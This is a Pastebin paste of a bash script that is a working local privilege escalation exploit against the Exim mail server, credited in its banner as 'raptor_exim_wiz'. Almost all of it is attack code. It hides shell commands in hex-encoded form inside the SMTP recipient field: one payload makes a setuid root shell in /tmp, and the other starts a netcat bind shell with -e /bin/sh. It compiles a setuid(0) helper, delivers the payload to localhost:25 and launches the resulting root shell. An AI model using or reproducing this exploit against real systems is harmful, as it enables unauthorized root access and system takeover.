Advertisement
Guest User

Untitled

a guest
Oct 17th, 2019
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. METHOD="setuid" # default method
  3. PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
  4. PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'
  5.  
  6. # payload delivery
  7. function exploit()
  8. {
  9. # connect to localhost:25
  10. exec 3<>/dev/tcp/localhost/25
  11.  
  12. # deliver the payload
  13. read -u 3 && echo $REPLY
  14. echo "helo localhost" >&3
  15. read -u 3 && echo $REPLY
  16. echo "mail from:<>" >&3
  17. read -u 3 && echo $REPLY
  18. echo "rcpt to:<$PAYLOAD>" >&3
  19. read -u 3 && echo $REPLY
  20. echo "data" >&3
  21. read -u 3 && echo $REPLY
  22. for i in {1..31}
  23. do
  24. echo "Received: $i" >&3
  25. done
  26. echo "." >&3
  27. read -u 3 && echo $REPLY
  28. echo "quit" >&3
  29. read -u 3 && echo $REPLY
  30. }
  31.  
  32. # print banner
  33. echo
  34. echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
  35. echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>'
  36. echo
  37.  
  38. # parse command line
  39.  
  40.  
  41.  
  42.  
  43. # prepare a setuid shell helper to circumvent bash checks
  44. echo "Preparing setuid shell helper..."
  45. echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c
  46. gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
  47. if [ $? -ne 0 ]; then
  48. echo "Problems compiling setuid shell helper, check your gcc."
  49. echo "Falling back to the /bin/sh method."
  50. cp /bin/sh /tmp/pwned
  51. fi
  52. echo
  53.  
  54. # select and deliver the payload
  55. echo "Delivering $METHOD payload..."
  56. PAYLOAD=$PAYLOAD_SETUID
  57. exploit
  58. echo
  59.  
  60. # wait for the magic to happen and spawn our shell
  61. echo "Waiting 5 seconds..."
  62. sleep 5
  63. ls -l /tmp/pwned
  64. /tmp/pwned
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement